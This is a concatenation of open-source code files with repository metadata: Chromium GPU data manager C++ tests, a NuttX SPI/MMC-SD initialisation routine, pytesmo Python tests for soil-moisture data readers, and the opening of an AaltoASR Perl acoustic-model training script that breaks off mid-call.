TEST_F(GpuDataManagerImplTest, GPUVideoMemoryUsageStatsUpdate) { ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); TestObserver observer; manager->AddObserver(&observer); { base::RunLoop run_loop; run_loop.RunUntilIdle(); } EXPECT_FALSE(observer.video_memory_usage_stats_updated()); GPUVideoMemoryUsageStats vram_stats; manager->UpdateVideoMemoryUsageStats(vram_stats); { base::RunLoop run_loop; run_loop.RunUntilIdle(); } EXPECT_TRUE(observer.video_memory_usage_stats_updated()); } base::Time GpuDataManagerImplTest::JustBeforeExpiration( GpuDataManagerImpl* manager) { return GetTimeForTesting() + base::TimeDelta::FromMilliseconds( manager->GetBlockAllDomainsDurationInMs()) - base::TimeDelta::FromMilliseconds(3); } base::Time GpuDataManagerImplTest::JustAfterExpiration( GpuDataManagerImpl* manager) { return GetTimeForTesting() + base::TimeDelta::FromMilliseconds( manager->GetBlockAllDomainsDurationInMs()) + base::TimeDelta::FromMilliseconds(3); } void GpuDataManagerImplTest::TestBlockingDomainFrom3DAPIs( GpuDataManagerImpl::DomainGuilt guilt_level) { ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); manager->BlockDomainFrom3DAPIsAtTime(GetDomain1ForTesting(), guilt_level, GetTimeForTesting()); // This domain should be blocked no matter what. EXPECT_EQ(GpuDataManagerImpl::DOMAIN_BLOCK_STATUS_BLOCKED, manager->Are3DAPIsBlockedAtTime(GetDomain1ForTesting(), GetTimeForTesting())); EXPECT_EQ(GpuDataManagerImpl::DOMAIN_BLOCK_STATUS_BLOCKED, manager->Are3DAPIsBlockedAtTime(GetDomain1ForTesting(), JustBeforeExpiration(manager))); EXPECT_EQ(GpuDataManagerImpl::DOMAIN_BLOCK_STATUS_BLOCKED, manager->Are3DAPIsBlockedAtTime(GetDomain1ForTesting(), JustAfterExpiration(manager))); } void GpuDataManagerImplTest::TestUnblockingDomainFrom3DAPIs( GpuDataManagerImpl::DomainGuilt guilt_level) { ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); manager->BlockDomainFrom3DAPIsAtTime(GetDomain1ForTesting(), guilt_level, GetTimeForTesting()); // Unblocking the domain should work. manager->UnblockDomainFrom3DAPIs(GetDomain1ForTesting()); EXPECT_EQ(GpuDataManagerImpl::DOMAIN_BLOCK_STATUS_NOT_BLOCKED, manager->Are3DAPIsBlockedAtTime(GetDomain1ForTesting(), GetTimeForTesting())); EXPECT_EQ(GpuDataManagerImpl::DOMAIN_BLOCK_STATUS_NOT_BLOCKED, manager->Are3DAPIsBlockedAtTime(GetDomain1ForTesting(), JustBeforeExpiration(manager))); EXPECT_EQ(GpuDataManagerImpl::DOMAIN_BLOCK_STATUS_NOT_BLOCKED, manager->Are3DAPIsBlockedAtTime(GetDomain1ForTesting(), JustAfterExpiration(manager))); } TEST_F(GpuDataManagerImplTest, BlockGuiltyDomainFrom3DAPIs) { TestBlockingDomainFrom3DAPIs(GpuDataManagerImpl::DOMAIN_GUILT_KNOWN); } TEST_F(GpuDataManagerImplTest, BlockDomainOfUnknownGuiltFrom3DAPIs) { TestBlockingDomainFrom3DAPIs(GpuDataManagerImpl::DOMAIN_GUILT_UNKNOWN); } TEST_F(GpuDataManagerImplTest, BlockAllDomainsFrom3DAPIs) { ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); manager->BlockDomainFrom3DAPIsAtTime(GetDomain1ForTesting(), GpuDataManagerImpl::DOMAIN_GUILT_UNKNOWN, GetTimeForTesting()); // Blocking of other domains should expire. EXPECT_EQ(GpuDataManagerImpl::DOMAIN_BLOCK_STATUS_ALL_DOMAINS_BLOCKED, manager->Are3DAPIsBlockedAtTime(GetDomain2ForTesting(), JustBeforeExpiration(manager))); EXPECT_EQ(GpuDataManagerImpl::DOMAIN_BLOCK_STATUS_NOT_BLOCKED, manager->Are3DAPIsBlockedAtTime(GetDomain2ForTesting(), JustAfterExpiration(manager))); } TEST_F(GpuDataManagerImplTest, UnblockGuiltyDomainFrom3DAPIs) { TestUnblockingDomainFrom3DAPIs(GpuDataManagerImpl::DOMAIN_GUILT_KNOWN); } TEST_F(GpuDataManagerImplTest, UnblockDomainOfUnknownGuiltFrom3DAPIs) { TestUnblockingDomainFrom3DAPIs(GpuDataManagerImpl::DOMAIN_GUILT_UNKNOWN); } TEST_F(GpuDataManagerImplTest, UnblockOtherDomainFrom3DAPIs) { ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); manager->BlockDomainFrom3DAPIsAtTime(GetDomain1ForTesting(), GpuDataManagerImpl::DOMAIN_GUILT_UNKNOWN, GetTimeForTesting()); manager->UnblockDomainFrom3DAPIs(GetDomain2ForTesting()); EXPECT_EQ(GpuDataManagerImpl::DOMAIN_BLOCK_STATUS_NOT_BLOCKED, manager->Are3DAPIsBlockedAtTime(GetDomain2ForTesting(), JustBeforeExpiration(manager))); // The original domain should still be blocked. EXPECT_EQ(GpuDataManagerImpl::DOMAIN_BLOCK_STATUS_BLOCKED, manager->Are3DAPIsBlockedAtTime(GetDomain1ForTesting(), JustBeforeExpiration(manager))); } TEST_F(GpuDataManagerImplTest, UnblockThisDomainFrom3DAPIs) { ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); manager->BlockDomainFrom3DAPIsAtTime(GetDomain1ForTesting(), GpuDataManagerImpl::DOMAIN_GUILT_UNKNOWN, GetTimeForTesting()); manager->UnblockDomainFrom3DAPIs(GetDomain1ForTesting()); // This behavior is debatable. Perhaps the GPU reset caused by // domain 1 should still cause other domains to be blocked. EXPECT_EQ(GpuDataManagerImpl::DOMAIN_BLOCK_STATUS_NOT_BLOCKED, manager->Are3DAPIsBlockedAtTime(GetDomain2ForTesting(), JustBeforeExpiration(manager))); } #if defined(OS_LINUX) TEST_F(GpuDataManagerImplTest, SetGLStrings) { const char* kGLVendorMesa = "Tungsten Graphics, Inc"; const char* kGLRendererMesa = "Mesa DRI Intel(R) G41"; const char* kGLVersionMesa801 = "2.1 Mesa 8.0.1-DEVEL"; ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); EXPECT_EQ(0u, manager->GetBlacklistedFeatureCount()); EXPECT_TRUE(manager->GpuAccessAllowed()); const std::string blacklist_json = LONG_STRING_CONST( { "name": "gpu blacklist", "version": "0.1", "entries": [ { "id": 1, "vendor_id": "0x8086", "exceptions": [ { "device_id": ["0x0042"], "driver_version": { "op": ">=", "number": "8.0.2" } } ], "features": [ "webgl" ] } ] } ); GPUInfo gpu_info; gpu_info.gpu.vendor_id = 0x8086; gpu_info.gpu.device_id = 0x0042; manager->InitializeForTesting(blacklist_json, gpu_info); // Not enough GPUInfo. EXPECT_TRUE(manager->GpuAccessAllowed()); EXPECT_EQ(0u, manager->GetBlacklistedFeatureCount()); // Now assume browser gets GL strings from local state. // The entry applies, blacklist more features than from the preliminary step. // However, GPU process is not blocked because this is all browser side and // happens before renderer launching. manager->SetGLStrings(kGLVendorMesa, kGLRendererMesa, kGLVersionMesa801); EXPECT_TRUE(manager->GpuAccessAllowed()); EXPECT_EQ(1u, manager->GetBlacklistedFeatureCount()); EXPECT_TRUE(manager->IsFeatureBlacklisted(GPU_FEATURE_TYPE_WEBGL)); } TEST_F(GpuDataManagerImplTest, SetGLStringsNoEffects) { const char* kGLVendorMesa = "Tungsten Graphics, Inc"; const char* kGLRendererMesa = "Mesa DRI Intel(R) G41"; const char* kGLVersionMesa801 = "2.1 Mesa 8.0.1-DEVEL"; const char* kGLVersionMesa802 = "2.1 Mesa 8.0.2-DEVEL"; ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); EXPECT_EQ(0u, manager->GetBlacklistedFeatureCount()); EXPECT_TRUE(manager->GpuAccessAllowed()); const std::string blacklist_json = LONG_STRING_CONST( { "name": "gpu blacklist", "version": "0.1", "entries": [ { "id": 1, "vendor_id": "0x8086", "exceptions": [ { "device_id": ["0x0042"], "driver_version": { "op": ">=", "number": "8.0.2" } } ], "features": [ "webgl" ] } ] } ); GPUInfo gpu_info; gpu_info.gpu.vendor_id = 0x8086; gpu_info.gpu.device_id = 0x0042; gpu_info.gl_vendor = kGLVendorMesa; gpu_info.gl_renderer = kGLRendererMesa; gpu_info.gl_version = kGLVersionMesa801; gpu_info.driver_vendor = "Mesa"; gpu_info.driver_version = "8.0.1"; manager->InitializeForTesting(blacklist_json, gpu_info); // Full GPUInfo, the entry applies. EXPECT_TRUE(manager->GpuAccessAllowed()); EXPECT_EQ(1u, manager->GetBlacklistedFeatureCount()); EXPECT_TRUE(manager->IsFeatureBlacklisted(GPU_FEATURE_TYPE_WEBGL)); // Now assume browser gets GL strings from local state. // SetGLStrings() has no effects because GPUInfo already got these strings. // (Otherwise the entry should not apply.) manager->SetGLStrings(kGLVendorMesa, kGLRendererMesa, kGLVersionMesa802); EXPECT_TRUE(manager->GpuAccessAllowed()); EXPECT_EQ(1u, manager->GetBlacklistedFeatureCount()); EXPECT_TRUE(manager->IsFeatureBlacklisted(GPU_FEATURE_TYPE_WEBGL)); } #endif // OS_LINUX TEST_F(GpuDataManagerImplTest, GpuDriverBugListSingle) { ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); manager->gpu_driver_bugs_.insert(5); CommandLine command_line(0, NULL); manager->AppendGpuCommandLine(&command_line); EXPECT_TRUE(command_line.HasSwitch(switches::kGpuDriverBugWorkarounds)); std::string args = command_line.GetSwitchValueASCII( switches::kGpuDriverBugWorkarounds); EXPECT_STREQ("5", args.c_str()); } TEST_F(GpuDataManagerImplTest, GpuDriverBugListMultiple) { ScopedGpuDataManagerImpl manager; ASSERT_TRUE(manager.get()); manager->gpu_driver_bugs_.insert(5); manager->gpu_driver_bugs_.insert(7); CommandLine command_line(0, NULL); manager->AppendGpuCommandLine(&command_line); EXPECT_TRUE(command_line.HasSwitch(switches::kGpuDriverBugWorkarounds)); std::string args = command_line.GetSwitchValueASCII( switches::kGpuDriverBugWorkarounds); EXPECT_STREQ("5,7", args.c_str()); } } // namespace content
bsd-3-clause
gcds/project_xxx
nuttx/configs/lpcxpresso-lpc1768/src/up_usbmsc.c
4970
/**************************************************************************** * configs/lpcxpresso-lpc1768/src/up_usbmsc.c * * Copyright (C) 2011, 2013 Gregory Nutt. All rights reserved. * Author: Gregory Nutt <[email protected]> * * Configure and register the LPC17xx MMC/SD SPI block driver. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name NuttX nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ /**************************************************************************** * Included Files ****************************************************************************/ #include <nuttx/config.h> #include <stdio.h> #include <debug.h> #include <errno.h> #include <nuttx/spi/spi.h> #include <nuttx/mmcsd.h> /**************************************************************************** * Pre-Processor Definitions ****************************************************************************/ /* Configuration ************************************************************/ #ifndef CONFIG_EXAMPLES_USBMSC_DEVMINOR1 # define CONFIG_EXAMPLES_USBMSC_DEVMINOR1 0 #endif /* PORT and SLOT number probably depend on the board configuration */ #ifdef CONFIG_ARCH_BOARD_LPCXPRESSO # undef LPC17XX_MMCSDSPIPORTNO # define LPC17XX_MMCSDSPIPORTNO 1 # undef LPC17XX_MMCSDSLOTNO # define LPC17XX_MMCSDSLOTNO 0 #else /* Add configuration for new LPC17xx boards here */ # error "Unrecognized LPC17xx board" #endif /* Debug ********************************************************************/ #ifdef CONFIG_CPP_HAVE_VARARGS # ifdef CONFIG_DEBUG # define message(...) lowsyslog(__VA_ARGS__) # define msgflush() # else # define message(...) printf(__VA_ARGS__) # define msgflush() fflush(stdout) # endif #else # ifdef CONFIG_DEBUG # define message lowsyslog # define msgflush() # else # define message printf # define msgflush() fflush(stdout) # endif #endif /**************************************************************************** * Public Functions ****************************************************************************/ /**************************************************************************** * Name: usbmsc_archinitialize * * Description: * Perform architecture specific initialization * ****************************************************************************/ int usbmsc_archinitialize(void) { FAR struct spi_dev_s *spi; int ret; /* Get the SPI port */ message("usbmsc_archinitialize: Initializing SPI port %d\n", LPC17XX_MMCSDSPIPORTNO); spi = lpc17_sspinitialize(LPC17XX_MMCSDSPIPORTNO); if (!spi) { message("usbmsc_archinitialize: Failed to initialize SPI port %d\n", LPC17XX_MMCSDSPIPORTNO); return -ENODEV; } message("usbmsc_archinitialize: Successfully initialized SPI port %d\n", LPC17XX_MMCSDSPIPORTNO); /* Bind the SPI port to the slot */ message("usbmsc_archinitialize: Binding SPI port %d to MMC/SD slot %d\n", LPC17XX_MMCSDSPIPORTNO, LPC17XX_MMCSDSLOTNO); ret = mmcsd_spislotinitialize(CONFIG_EXAMPLES_USBMSC_DEVMINOR1, LPC17XX_MMCSDSLOTNO, spi); if (ret < 0) { message("usbmsc_archinitialize: Failed to bind SPI port %d to MMC/SD slot %d: %d\n", LPC17XX_MMCSDSPIPORTNO, LPC17XX_MMCSDSLOTNO, ret); return ret; } message("usbmsc_archinitialize: Successfuly bound SPI port %d to MMC/SD slot %d\n", LPC17XX_MMCSDSPIPORTNO, LPC17XX_MMCSDSLOTNO); return OK; }
bsd-3-clause
christophreimer/pytesmo
tests/test_ismn/test_readers.py
8660
# Copyright (c) 2013,Vienna University of Technology, Department of Geodesy and Geoinformation # All rights reserved. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the <organization> nor the # names of its contributors may be used to endorse or promote products # derived from this software without specific prior written permission. # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ''' Created on Jul 31, 2013 @author: Christoph Paulik [email protected] ''' import os import unittest from pytesmo.io.ismn import readers import pandas as pd from datetime import datetime import numpy as np class TestReaders(unittest.TestCase): def setUp(self): self.filename_format_header_values = os.path.join(os.path.dirname(__file__), '..', 'test-data', 'ismn', 'format_header_values', 'SMOSMANIA', 'SMOSMANIA_SMOSMANIA_Narbonne_sm_0.050000_0.050000_ThetaProbe-ML2X_20070101_20070131.stm') self.filename_format_ceop_sep = os.path.join(os.path.dirname(__file__), '..', 'test-data', 'ismn', 'format_ceop_sep', 'SMOSMANIA', 'SMOSMANIA_SMOSMANIA_Narbonne_sm_0.050000_0.050000_ThetaProbe-ML2X_20070101_20070131.stm') self.filename_format_ceop = os.path.join(os.path.dirname(__file__), '..', 'test-data', 'ismn', 'format_ceop', 'SMOSMANIA', 'SMOSMANIA_SMOSMANIA_NBN_20100304_20130801.stm') self.filename_malformed = os.path.join(os.path.dirname(__file__), '..', 'test-data', 'ismn', 'malformed', 'mal_formed_file.txt') self.metadata_ref = {'network': 'SMOSMANIA', 'station': 'Narbonne', 'latitude': 43.15, 'longitude': 2.9567, 'elevation': 112.0, 'depth_from': [0.05], 'depth_to': [0.05], 'variable': ['soil moisture'], 'sensor': 'ThetaProbe-ML2X'} self.metadata_ref_ceop = dict(self.metadata_ref) self.metadata_ref_ceop['depth_from'] = ['multiple'] self.metadata_ref_ceop['depth_to'] = ['multiple'] self.metadata_ref_ceop['variable'] = ['ts', 'sm'] self.metadata_ref_ceop['sensor'] = 'n.s' def test_get_info_from_file(self): header_elements, filename_elements = readers.get_info_from_file( self.filename_format_ceop_sep) assert sorted(header_elements) == sorted(['2007/01/01', '01:00', '2007/01/01', '01:00', 'SMOSMANIA', 'SMOSMANIA', 'Narbonne', '43.15000', '2.95670', '112.00', '0.05', '0.05', '0.2140', 'U', 'M']) assert sorted(filename_elements) == sorted(['SMOSMANIA', 'SMOSMANIA', 'Narbonne', 'sm', '0.050000', '0.050000', 'ThetaProbe-ML2X', '20070101', '20070131.stm']) def test_get_metadata_header_values(self): metadata = readers.get_metadata_header_values( self.filename_format_header_values) for key in metadata: assert metadata[key] == self.metadata_ref[key] def test_reader_format_header_values(self): dataset = readers.read_format_header_values( self.filename_format_header_values) assert dataset.network == 'SMOSMANIA' assert dataset.station == 'Narbonne' assert dataset.latitude == 43.15 assert dataset.longitude == 2.9567 assert dataset.elevation == 112.0 assert dataset.variable == ['soil moisture'] assert dataset.depth_from == [0.05] assert dataset.depth_to == [0.05] assert dataset.sensor == 'ThetaProbe-ML2X' assert type(dataset.data) == pd.DataFrame assert dataset.data.index[7] == datetime(2007, 1, 1, 8, 0, 0) assert sorted(dataset.data.columns) == sorted( ['soil moisture', 'soil moisture_flag', 'soil moisture_orig_flag']) assert dataset.data['soil moisture'].values[8] == 0.2135 assert dataset.data['soil moisture_flag'].values[8] == 'U' assert dataset.data['soil moisture_orig_flag'].values[8] == 'M' def test_get_metadata_ceop_sep(self): metadata = readers.get_metadata_ceop_sep(self.filename_format_ceop_sep) for key in metadata: assert metadata[key] == self.metadata_ref[key] def test_reader_format_ceop_sep(self): dataset = readers.read_format_ceop_sep(self.filename_format_ceop_sep) assert dataset.network == 'SMOSMANIA' assert dataset.station == 'Narbonne' assert dataset.latitude == 43.15 assert dataset.longitude == 2.9567 assert dataset.elevation == 112.0 assert dataset.variable == ['soil moisture'] assert dataset.depth_from == [0.05] assert dataset.depth_to == [0.05] assert dataset.sensor == 'ThetaProbe-ML2X' assert type(dataset.data) == pd.DataFrame assert dataset.data.index[7] == datetime(2007, 1, 1, 8, 0, 0) assert sorted(dataset.data.columns) == sorted( ['soil moisture', 'soil moisture_flag', 'soil moisture_orig_flag']) assert dataset.data['soil moisture'].values[8] == 0.2135 assert dataset.data['soil moisture_flag'].values[8] == 'U' assert dataset.data['soil moisture_orig_flag'].values[347] == 'M' def test_get_metadata_ceop(self): metadata = readers.get_metadata_ceop(self.filename_format_ceop) assert metadata == self.metadata_ref_ceop def test_reader_format_ceop(self): dataset = readers.read_format_ceop(self.filename_format_ceop) assert dataset.network == 'SMOSMANIA' assert dataset.station == 'Narbonne' assert dataset.latitude == 43.15 assert dataset.longitude == 2.9567 assert dataset.elevation == 112.0 assert sorted(dataset.variable) == sorted(['sm', 'ts']) assert sorted(dataset.depth_from) == sorted([0.05, 0.1, 0.2, 0.3]) assert sorted(dataset.depth_to) == sorted([0.05, 0.1, 0.2, 0.3]) assert dataset.sensor == 'n.s' assert type(dataset.data) == pd.DataFrame assert dataset.data.index[7] == ( 0.05, 0.05, datetime(2010, 10, 21, 9, 0, 0)) assert sorted(dataset.data.columns) == sorted( ['sm', 'sm_flag', 'ts', 'ts_flag']) assert dataset.data['sm'].values[8] == 0.2227 assert dataset.data['sm_flag'].values[8] == 'U' assert np.isnan(dataset.data.ix[0.3, 0.3]['ts'].values[6]) assert dataset.data.ix[0.3, 0.3]['ts_flag'].values[6] == 'M' def test_reader_get_format(self): fileformat = readers.get_format(self.filename_format_header_values) assert fileformat == 'header_values' fileformat = readers.get_format(self.filename_format_ceop_sep) assert fileformat == 'ceop_sep' fileformat = readers.get_format(self.filename_format_ceop) assert fileformat == 'ceop' with self.assertRaises(readers.ReaderException): fileformat = readers.get_format(self.filename_malformed) if __name__ == '__main__': unittest.main()
bsd-3-clause
phsmit/AaltoASR
aku/scripts/train.pl
18890
#!/usr/bin/perl use locale; use strict; use ClusterManager; ## Model name ## my $BASE_ID = $ENV{'TRAIN_NAME'}; defined($BASE_ID) || die("TRAIN_NAME environment variable needs to be set."); ## Path settings ## my $BINDIR = $ENV{'TRAIN_BINDIR'}; defined($BINDIR) || die("TRAIN_BINDIR environment variable needs to be set."); my $SCRIPTDIR = $ENV{'TRAIN_SCRIPTDIR'}; defined($SCRIPTDIR) || die("TRAIN_SCRIPTDIR environment variable needs to be set."); my $WORKDIR = $ENV{'TRAIN_DIR'}; defined($WORKDIR) || die("TRAIN_DIR environment variable needs to be set."); my $HMMDIR = "$WORKDIR/hmm"; ## Training file list ## my $RECIPE = $ENV{'TRAIN_RECIPE'}; defined($RECIPE) || die("TRAIN_RECIPE environment variable needs to be set."); ## Initial model names ## # Now initial model is created in tying, and we use only the .cfg file # of the original model. my $init_model = "$HMMDIR/$BASE_ID"; my $init_cfg = "$HMMDIR/init.cfg"; ## Batch settings ## # Number of batches, maximum number of parallel jobs my $NUM_BATCHES = $ENV{'TRAIN_BATCHES'}; $NUM_BATCHES = 20 if !defined($NUM_BATCHES); my $BATCH_PRIORITY = 0; # Not used currently. my $BATCH_MAX_MEM = 2000; # In megabytes # Note that you may need memory if the training data contains # e.g. long utterances! If too little memory is reserved, unexpected # termination of the training may occur. On Condor there are currently # no memory restrictions. ## Train/Baum-Welch settings ## my $USE_HMMNETS = 1; # If 0, the script must call align appropriately my $FORWARD_BEAM = 15; my $BACKWARD_BEAM = 200; my $AC_SCALE = 1; # Acoustic scaling (For ML 1, for MMI 1/(LMSCALE/lne(10))) my $ML_STATS_MODE = "--ml"; my $ML_ESTIMATE_MODE = "--ml"; ## Alignment settings ## my $ALIGN_WINDOW = 4000; my $ALIGN_BEAM = 1000; my $ALIGN_SBEAM = 100; ## Context phone tying options ## my $TIE_USE_OUT_PHN = 0; # 0=read transcript field, 1=read alignment field my $TIE_RULES = $ENV{'TRAIN_TIERULES'}; defined($TIE_RULES) || die("TRAIN_TIERULES environment variable needs to be set."); my $TIE_MIN_COUNT = 1500; # Minimum number of features per state my $TIE_MIN_GAIN = 5000; # Minimum loglikelihood gain for a state split my $TIE_MAX_LOSS = 5000; # Maximum loglikelihood loss for merging states ## Gaussian splitting options ## my $SPLIT_MIN_OCCUPANCY = 200; # Accumulated state probability my $SPLIT_MAX_GAUSSIANS = 80; # Per state # If $SPLIT_TARGET_GAUSSIANS > 0, it defines the Gaussian splitting instead # of $SPLIT_MIN_OCCUPANCY. my $SPLIT_TARGET_GAUSSIANS = $ENV{'TRAIN_GAUSSIANS'}; $SPLIT_TARGET_GAUSSIANS = -1 if !defined($SPLIT_TARGET_GAUSSIANS); my $SPLIT_ALPHA = 0.3; # Smoothing power for occupancies my $GAUSS_REMOVE_THRESHOLD = 0.001; # Mixture component weight threshold ## Minimum variance ## my $MINVAR = 0.1; ## Gaussian clustering options ## my $NUM_GAUSS_CLUSTERS = 1000; # 0 if no clustering my $GAUSS_EVAL_RATIO = 0.1; ## MLLT options ## my $mllt_start_iter = 15; # At which iteration MLLT estimation should begin my $mllt_frequency = 2; # How many EM iterations between MLLT estimation my $MLLT_MODULE_NAME = "transform"; ## Training iterations ## my $num_ml_train_iter = 22; my $split_frequency = 2; # How many EM iterations between Gaussian splits my $split_stop_iter = 18; # Iteration after which no more splits are done ## Adaptation settings ## my $VTLN_MODULE = "vtln"; my $MLLR_MODULE = "mllr"; my $SPKC_FILE = ""; # For initialization see e.g. $SCRIPTDIR/vtln_default.spkc ## Misc settings ## # States without duration model (silences/noises). These must be first # states of the models! my $DUR_SKIP_MODELS = 6; my $VERBOSITY = 1; # NOTE: If you plan to recompile executables at the same time as running # them, it is a good idea to copy the old binaries to a different directory. my $COPY_BINARY_TO_WORK = 1; my $SAVE_STATISTICS = 0; # Save the statistics files in iteration directories ## Ignore some nodes if SLURM_EXCLUDE_NODES environment variable is set ## my $EXCLUDE_NODES = $ENV{'SLURM_EXCLUDE_NODES'}; $EXCLUDE_NODES = '' if !defined($EXCLUDE_NODES); ###################################################################### # Training script begins ###################################################################### # Create own working directory my $tempdir = "$WORKDIR/temp"; mkdir $WORKDIR; mkdir $tempdir; mkdir $HMMDIR; chdir $tempdir || die("Could not chdir to $tempdir"); if ($COPY_BINARY_TO_WORK > 0) { copy_binary_to_work($BINDIR, "$tempdir/bin"); } # Generate initial model by context phone tying using existing alignments context_phone_tying($init_model, $init_cfg); # Convert the generated full covariance model to diagonal model convert_full_to_diagonal($init_model); # Create the hmmnet files generate_hmmnet_files($init_model, $tempdir); # ML/EM training my $ml_model; $ml_model=ml_train($tempdir, 1, $num_ml_train_iter, $init_model, $init_cfg, $mllt_start_iter, $mllt_frequency, $split_frequency, $split_stop_iter); my $om = $ml_model; # Estimate duration model if ($USE_HMMNETS) { align_hmmnets($tempdir, $om, $RECIPE); } else { align($tempdir, $om, $RECIPE); } estimate_dur_model($om); # VTLN # align($tempdir, $om, $RECIPE); # estimate_vtln($tempdir, $om, $RECIPE, $om.".spkc"); # # MLLR # estimate_mllr($tempdir, $om, $RECIPE, $om.".spkc"); # Cluster the Gaussians if ($NUM_GAUSS_CLUSTERS > 0) { cluster_gaussians($om); } sub copy_binary_to_work { my $orig_bin_dir = shift(@_); my $new_bin_dir = shift(@_); mkdir $new_bin_dir; system("cp ${orig_bin_dir}/estimate ${new_bin_dir}"); system("cp ${orig_bin_dir}/align ${new_bin_dir}"); system("cp ${orig_bin_dir}/tie ${new_bin_dir}"); system("cp ${orig_bin_dir}/stats ${new_bin_dir}"); system("cp ${orig_bin_dir}/vtln ${new_bin_dir}"); system("cp ${orig_bin_dir}/dur_est ${new_bin_dir}"); system("cp ${orig_bin_dir}/gconvert ${new_bin_dir}"); system("cp ${orig_bin_dir}/gcluster ${new_bin_dir}"); system("cp ${orig_bin_dir}/phone_probs ${new_bin_dir}"); system("cp ${orig_bin_dir}/mllr ${new_bin_dir}"); system("cp ${orig_bin_dir}/combine_stats ${new_bin_dir}"); $BINDIR = $new_bin_dir; } sub context_phone_tying { my $out_model = shift(@_); my $im_cfg = shift(@_); my $phn_flag = ""; $phn_flag = "-O" if ($TIE_USE_OUT_PHN); my $cm = ClusterManager->new; $cm->{"identifier"} = "tie_".$BASE_ID; $cm->{"run_dir"} = $tempdir; $cm->{"log_dir"} = $tempdir; $cm->{"run_time"} = 239; $cm->{"mem_req"} = 4000; $cm->{"exclude_nodes"} = $EXCLUDE_NODES; $cm->submit("$BINDIR/tie -c $im_cfg -o $out_model -r $RECIPE $phn_flag -u $TIE_RULES --count $TIE_MIN_COUNT --sgain $TIE_MIN_GAIN --mloss $TIE_MAX_LOSS -i $VERBOSITY\n", ""); if (!(-e $out_model.".ph")) { die "Error in context phone tying\n"; } } sub convert_full_to_diagonal { my $im = shift(@_); my $gk = $im.".gk"; my $gk_backup = $im."_full.gk"; system("mv $gk $gk_backup"); system("$BINDIR/gconvert -g $gk_backup -o $gk -d > $tempdir/gconvert.stdout 2> $tempdir/gconvert.stderr\n"); } sub ml_train { my $temp_dir = shift(@_); my $iter_init = shift(@_); my $iter_end = shift(@_); my $im = shift(@_); my $im_cfg = shift(@_); my $mllt_start = shift(@_); my $mllt_frequency = shift(@_); my $mllt_flag = 0; my $split_frequency = shift(@_); my $split_stop_iter = shift(@_); my $split_flag; my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); my $dstring = "$mday.".($mon+1).".".(1900+$year); my $model_base = "$HMMDIR/${BASE_ID}_${dstring}"; my $stats_list_file = "statsfiles.lst"; my $batch_info; for (my $i = $iter_init; $i <= $iter_end ; $i ++) { print "ML iteration ".$i."\n" if ($VERBOSITY > 0); my $om = $model_base."_".$i; my $log_dir = "$temp_dir/ml_iter_".$i; mkdir $log_dir; $mllt_flag = 0; $mllt_flag = 1 if ($mllt_start && $i >= $mllt_start && (($i-$mllt_start) % $mllt_frequency) == 0); collect_stats("ml_$i", $temp_dir, $log_dir, $im, $im_cfg, $stats_list_file, $ML_STATS_MODE, $mllt_flag); my $fh; open($fh, $stats_list_file) || die("Could not open file $stats_list_file!"); my @stats_files=<$fh>; close($fh); if ($SAVE_STATISTICS) { my $cur_file; foreach $cur_file (@stats_files) { chomp $cur_file; system("cp $cur_file.* $log_dir"); } system("cp $stats_list_file $log_dir"); } $split_flag = 0; $split_flag = 1 if ($split_frequency && $i < $split_stop_iter && (($i-1) % $split_frequency) == 0); estimate_model($log_dir, 